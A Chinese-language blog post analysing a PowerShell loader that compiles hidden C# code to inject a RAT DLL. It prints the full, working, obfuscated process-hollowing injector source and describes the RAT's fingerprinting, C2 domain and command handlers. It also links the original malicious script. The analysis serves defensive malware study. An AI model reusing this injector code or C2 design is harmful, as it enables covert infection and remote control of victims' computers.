ps1加载Trojan RAT dll分析
前言
在群里看到个ps1的链接,没事干下载下来分析了一下
感觉挺有意思,ps1链接:https://pastebin.com/raw/7Ze9v4qa
分析过程
原ps1内容,一眼看去关键的地方经过了混淆
手动解密,最终得到的内容如下
$RUNPE变量是加密的csahrp源码
$Bytes是加密的RAT DLL
该ps1的功能如下:
0.延时1秒
1. StartupCheck环境变量存在的话写入vbs调用INSTALL函数
* %Startup%环境变量不存在调用CodeDom函数
1. CodeDom函数功能
1. 解密gzip压缩的cs源码的内容
2. 利用csc编译成dll
3. 利用InstallUtil.exe调用dll里的Execute函数->Execute(string path, byte[] payload)加载Trojan RAT dll
powershell ISE断点分析:
火绒剑动态运行监控:
解密出来的cs源码分析:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using Microsoft.VisualBasic;
namespace projFUD
{
public static class PA
{
public static string ReverseString(string Str)
{
string Revstr = "";
int Length;
Length = Str.Length - 1;
while (Length >= 0)
{
Revstr = Revstr + Str[Length];
Length--;
}
return Revstr;
}
public static string BinaryToString(string str)
{
string chars = System.Text.RegularExpressions.Regex.Replace(str, "[^01]", "");
byte[] arr = new byte[(chars.Length / 8) - 1 + 1];
for (int i = 0; i <= arr.Length - 1; i++)
arr[i] = Convert.ToByte(chars.Substring(i * 8, 8), 2);
return System.Text.ASCIIEncoding.ASCII.GetString(arr);
}
private delegate int DelegateResumeThread(IntPtr handle);
private delegate bool DelegateWow64SetThreadContext(IntPtr thread, int[] context);
private delegate bool DelegateSetThreadContext(IntPtr thread, int[] context);
private delegate bool DelegateWow64GetThreadContext(IntPtr thread, int[] context);
private delegate bool DelegateGetThreadContext(IntPtr thread, int[] context);
private delegate int DelegateVirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
private delegate bool DelegateWriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
private delegate bool DelegateReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
private delegate int DelegateZwUnmapViewOfSection(IntPtr process, int baseAddress);
private delegate bool DelegateCreateProcessA(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes,
bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
private static string[] AL = Convert.ToString("0011001000110011011011000110010101101110011100100110010101101011|0110110001101100011001000111010001101110|011001000110000101100101011100100110100001010100011001010110110101110101011100110110010101010010|011101000111100001100101011101000110111001101111010000110110010001100001011001010111001001101000010101000111010001100101010100110011010000110110011101110110111101010111|01110100011110000110010101110100011011100110111101000011011001000110000101100101011100100110100001010100011101000110010101010011|011101000111100001100101011101000110111001101111010000110110010001100001011001010111001001101000010101000111010001100101010001110011010000110110011101110110111101010111|01110100011110000110010101110100011011100110111101000011011001000110000101100101011100100110100001010100011101000110010101000111|0111100001000101011000110110111101101100011011000100000101101100011000010111010101110100011100100110100101010110|011110010111001001101111011011010110010101001101011100110111001101100101011000110110111101110010010100000110010101110100011010010111001001010111|0111100101110010011011110110110101100101010011010111001101110011011001010110001101101111011100100101000001100100011000010110010101010010|0110111001101111011010010111010001100011011001010101001101100110010011110111011101100101011010010101011001110000011000010110110101101110010101010111011101011010|0100000101110011011100110110010101100011011011110111001001010000011001010111010001100001011001010111001001000011|").Split(new string[] { "|" }, StringSplitOptions.None);
private static string Kernel32 = BinaryToString(AL[0]);
private static string ntdll = BinaryToString(AL[1]);
private static string RsmThread = BinaryToString(AL[2]);
private static string Wow64SetThreadCtx = BinaryToString(AL[3]);
private static string SetThreadCtx = BinaryToString(AL[4]);
private static string Wow64GetThreadCtx = BinaryToString(AL[5]);
private static string GetThreadCtx = BinaryToString(AL[6]);
private static string VirtualAllcEx = BinaryToString(AL[7]);
private static string WriteProcessMem = BinaryToString(AL[8]);
private static string ReadProcessMem = BinaryToString(AL[9]);
private static string ZwUnmapViewOfSec = BinaryToString(AL[10]);
private static string CreateProcA = BinaryToString(AL[11]);
private static readonly DelegateResumeThread ResumeThread = LoadApi<DelegateResumeThread>(ReverseString(Kernel32), ReverseString(RsmThread));
private static readonly DelegateWow64SetThreadContext Wow64SetThreadContext = LoadApi<DelegateWow64SetThreadContext>(ReverseString(Kernel32), ReverseString(Wow64SetThreadCtx));
private static readonly DelegateSetThreadContext SetThreadContext = LoadApi<DelegateSetThreadContext>(ReverseString(Kernel32), ReverseString(SetThreadCtx));
private static readonly DelegateWow64GetThreadContext Wow64GetThreadContext = LoadApi<DelegateWow64GetThreadContext>(ReverseString(Kernel32), ReverseString(Wow64GetThreadCtx));
private static readonly DelegateGetThreadContext GetThreadContext = LoadApi<DelegateGetThreadContext>(ReverseString(Kernel32), ReverseString(GetThreadCtx));
private static readonly DelegateVirtualAllocEx VirtualAllocEx = LoadApi<DelegateVirtualAllocEx>(ReverseString(Kernel32), ReverseString(VirtualAllcEx));
private static readonly DelegateWriteProcessMemory WriteProcessMemory = LoadApi<DelegateWriteProcessMemory>(ReverseString(Kernel32), ReverseString(WriteProcessMem));
private static readonly DelegateReadProcessMemory ReadProcessMemory = LoadApi<DelegateReadProcessMemory>(ReverseString(Kernel32), ReverseString(ReadProcessMem));
private static readonly DelegateZwUnmapViewOfSection ZwUnmapViewOfSection = LoadApi<DelegateZwUnmapViewOfSection>(ReverseString(ntdll), ReverseString(ZwUnmapViewOfSec));
private static readonly DelegateCreateProcessA CreateProcessA = LoadApi<DelegateCreateProcessA>(ReverseString(Kernel32), ReverseString(CreateProcA));
[DllImport("kernel32", SetLastError = true)]
private static extern IntPtr LoadLibraryA([MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);
[DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true, ExactSpelling = true)]
private static extern IntPtr GetProcAddress(IntPtr hProcess, [MarshalAs(UnmanagedType.VBByRefStr)] ref string Name);
private static CreateApi LoadApi<CreateApi>(string name, string method)
{
return (CreateApi)(object)Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi));
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct ProcessInformation
{
public readonly IntPtr ProcessHandle;
public readonly IntPtr ThreadHandle;
public readonly uint ProcessId;
private readonly uint ThreadId;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
private struct StartupInformation
{
public uint Size;
private readonly string Reserved1;
private readonly string Desktop;
private readonly string Title;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 36)]
private readonly byte[] Misc;
private readonly IntPtr Reserved2;
private readonly IntPtr StdInput;
private readonly IntPtr StdOutput;
private readonly IntPtr StdError;
}
public static void Execute(string path, byte[] payload) //傀儡进程实现
{
for (int i = 0; i < 5; i++)
{
int readWrite = 0;
StartupInformation si = new StartupInformation();
ProcessInformation pi = new ProcessInformation();
si.Size = UInt32.Parse(Marshal.SizeOf(typeof(StartupInformation)).ToString());
string ToInt32 = System.Text.Encoding.Default.GetString(new byte[] { 0x54, 0x6F, 0x49, 0x6E, 0x74, 0x33, 0x32 });
string ToInt16 = System.Text.Encoding.Default.GetString(new byte[] { 0x54, 0x6F, 0x49, 0x6E, 0x74, 0x31, 0x36 });
try
{
if (!CreateProcessA(path, string.Empty, IntPtr.Zero, IntPtr.Zero, false, 4 | 134217728, IntPtr.Zero, null, ref si, ref pi)) throw new Exception(); //创建进程
int fileAddress = (int)Interaction.CallByName(typeof(BitConverter).GetMethod(ToInt32), BinaryToString("010010010110111001110110011011110110101101100101"), CallType.Method, new object[] { null, new object[] { payload, (30 * 2) } });
int imageBase = (int)Interaction.CallByName(typeof(BitConverter).GetMethod(ToInt32), BinaryToString("010010010110111001110110011011110110101101100101"), CallType.Method, new object[] { null, new object[] { payload, fileAddress + (26 * 2) } });
int[] context = new int[Convert.ToInt32(89 + 90)];
context[0] = 65538;
if (IntPtr.Size == 4) //如果字节为4位(32位)
{ if (!GetThreadContext(pi.ThreadHandle, context)) throw new Exception(); } //检索指定线程的上下文
else //64位
{ if (!Wow64GetThreadContext(pi.ThreadHandle, context)) throw new Exception(); } //来检索WOW64线程的上下文
int ebx = context[(20 + 21)];
int baseAddress = 0;
if (!ReadProcessMemory(pi.ProcessHandle, ebx + 8, ref baseAddress, 4, ref readWrite)) throw new Exception(); //读取内存
if (imageBase == baseAddress)
if (ZwUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0) throw new Exception();
int sizeOfImage = (int)typeof(BitConverter).GetMethod(ToInt32).Invoke(null, new object[] { payload, fileAddress + 80 });
int sizeOfHeaders = (int)typeof(BitConverter).GetMethod(ToInt32).Invoke(null, new object[] { payload, fileAddress + 84 });
bool allowOverride = false;
int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 12288, 64);
if (newImageBase == 0) throw new Exception();
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, payload, sizeOfHeaders, ref readWrite)) throw new Exception();
int sectionOffset = fileAddress + 248;
short numberOfSections = BitConverter.ToInt16(payload, fileAddress + 6);
for (int I = 0; I < numberOfSections; I++)
{
int virtualAddress = (int)typeof(BitConverter).GetMethod(ToInt32).Invoke(null, new object[] { payload, sectionOffset + 12 });
int sizeOfRawData = (int)typeof(BitConverter).GetMethod(ToInt32).Invoke(null, new object[] { payload, sectionOffset + 16 });
int pointerToRawData = (int)typeof(BitConverter).GetMethod(ToInt32).Invoke(null, new object[] { payload, sectionOffset + 20 });
if (sizeOfRawData != 0)
{
byte[] sectionData = new byte[sizeOfRawData];
Buffer.BlockCopy(payload, pointerToRawData, sectionData, 0, sectionData.Length);
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite)) throw new Exception();
}
sectionOffset += 40;
}
byte[] GB = BitConverter.GetBytes(newImageBase);
if (!WriteProcessMemory(pi.ProcessHandle, ebx + 8, GB, 4, ref readWrite)) throw new Exception();
int addressOfEntryPoint = (int)Interaction.CallByName(typeof(BitConverter).GetMethod(ToInt32), BinaryToString("010010010110111001110110011011110110101101100101"), CallType.Method, new object[] { null, new object[] { payload, fileAddress + 40 } });
if (allowOverride) newImageBase = imageBase;
context[44] = newImageBase + addressOfEntryPoint;
if (IntPtr.Size == 4)
{
var x = SetThreadContext(pi.ThreadHandle, context);
if (!x)
{
throw new Exception();
}
}
else
{
var y = Wow64SetThreadContext(pi.ThreadHandle, context);
if (!y)
{
throw new Exception();
}
}
int r = (int)Interaction.CallByName(ResumeThread, BinaryToString("010010010110111001110110011011110110101101100101"), CallType.Method, new object[] { pi.ThreadHandle });
if (r == -1 * 1)
{
throw new Exception();
}
}
catch
{
Process.GetProcessById(Convert.ToInt32(pi.ProcessId)).Kill(); //执行失败的话返回当前进程PID并杀死
continue;
}
break;
}
}
}
}
cs主要实现傀儡进程,加载Trojan RAT的dll,如果执行失败的话返回当前进程PID并杀死
Trojan RAT DLL分析:
Main函数入口点分析
1. 延时2.5秒
2. 创建flag互斥体
* 创建flag互斥体
* 互斥体创建失败则退出
1. 调用PreventSleep.Run()函数 【防止系统在应用程序运行时进入睡眠状态或关闭显示器】
2. Application.ApplicationExit (在应用程序即将关闭时发生)->调用Config.programMutex.ReleaseMutex() 释放互斥锁
3. 调用Client.RUN()函数
PreventSleep.Run函数
Config
Client.RUN函数分析:
1. 创建多线程调用Client.TcpReceive函数
2. 检测Client.isConnected是否为true(默认为False),如果为false释放所有缓冲区。将收集到的系统信息发送到kimjoy.ddns.net,并将Client.isConnected设置为true。创建一个计时器,该计时器在30秒钟后调用Client.Ping函数。然后创建新的缓冲区,如果上述操作失败将Client.isConnected设置为False
1. 进入循环
2. 检测socket状态是否为读取状态模式(Client.client.Poll(-1, SelectMode.SelectRead))和获取返回的值(Client.client.Available)是否成功或者连接(!Client.client.Connected)是否成功,如果其中一项失败退出循环
3. 指定缓冲区
byte[] array = new byte[Client.client.Available];
Interaction.CallByName(Client.client, "Receive", CallType.Method, new object[]
{
array,
0,
array.Length,
SocketFlags.None
}); //连接的Socket上接收数据之前的数据缓冲区,偏移量,大小和套接字标志
1. 判断缓冲区里是否存在!@#%^NYAN#!@$ (存在!@#%^NYAN#!@$)
2.
接收到发送来的数据后写入缓冲区 Client.memoryStream.Write(array, 0, array.Length);
* 存在的话则从MemoryStream解密内容 Array[] array2 = (Array[])Client.PacketFixer(Client.memoryStream.ToArray(), Config.splitter);
* 实例化PacketHandler类 PacketHandler @object = new PacketHandler(); * 线程池实例化PacketHandler.Handler函数 Thread thread = new Thread(new ParameterizedThreadStart(@object.Handler));
* 将缓冲区里的首位字符串传入PacketHandler.Handler函数作为参数,启用线程池 thread.Start(array2[0])
* 释放缓冲区 Client.memoryStream.Dispose()
* 新建缓冲区Client.memoryStream = new MemoryStream();
* 解密后的数组长度不为2则退出循环
* 在将解密数组的1位元素写入新的缓冲区 Client.memoryStream.Write((byte[])array2[1], 0, ((byte[])array2[1]).Length)
1. 缓冲区里不存在!@#%^NYAN#!@$
* 设置socket连接状态为false并退出循环 Client.isConnected = false;break
SendInfo函数分析
(每个功能都使用config.key进行分割)
* IdGenerator.GetHardDiskSerialNumber()当前盘符数量
* IdGenerator.GetIp()获取当前机器IP
* 获取主机名Environment.MachineName和用户名Environment.UserName
* IdGenerator.GetCamera()检索捕获驱动程序的版本说明
* new ComputerInfo().OSFullName获取系统名称和当前所有进程IdGenerator.GetSystem()
* IdGenerator.GetCpu()获取当前CPU名称
* ComputerInfo().TotalPhysicalMemory物理内存总量
* IdGenerator.GetAV()通过wmic查询检测杀毒
* config.port
* IdGenerator.GetActiveWindow()获取当前窗口标题
* 当前线程区域性的名称CultureInfo.CurrentCulture.Name
PacketHandler.Handler函数
根据解密的数组的0位元素做出对应的判断
* 如果array[0]=="PNC" ,重置计时器,开始计时,发送PNC字符串给远程服务器
* 如果array[0]=="P",停止计时器,发送P字符串+config.key+Config.stopwatch.ElapsedMilliseconds(计时器的运行时间),并发送W字符串+config.key+当前窗口标题
* 如果array[0]=="IE",打开注册表HKEY_CURRENT_USER\SOFTWARE\RXQLV8XYTDNHNSA\array[1],如果存在该注册表路径调用Invoke函数(this.Invoke(Config.host, Config.port, array[4], array[5], StringConverter.Encode(StringConverter.Decode(Config.id) + "_" + IdGenerator.GetHardDiskSerialNumber())),并从注册表HKEY_CURRENT_USER\SOFTWARE\RXQLV8XYTDNHNSA\array[1],读取指定的内容,并将array[1]转换为布尔值,跳转到IL_395,如果注册表路径不存在,发送GPL字符串+config.key+array[5]+key+array[1]+key+false字符串,跳转到IL_395执行
* 如果array[0]=="LP"执行invoke函数this.Invoke(Config.host, Config.port, array[1], array[2], StringConverter.Encode(StringConverter.Decode(Config.id) + "_" + IdGenerator.GetHardDiskSerialNumber()), array[3], int.Parse(array[4]), Convert.ToBoolean(array[5]), array[6], Convert.ToBoolean(array[7]))
* 如果array[0]=="UNV"调用GetAssembly加载发送来的程序集调用
invoke函数
bytes=>CreateInstance
bytes2=>Start
加载对应的程序集调用,创建对应的注册表设置键值
GetAssembly函数
bytes=>SLoad
加载程序集之前先base64解码,gzip流解压。在加载
微步情报
请求信息
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:ps1加载Trojan RAT dll分析
本文作者:九世
发布时间:2021-05-09, 13:53:36
最后更新:2021-05-09, 14:49:44
原始链接:http://jiushill.github.io/posts/43591be7.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。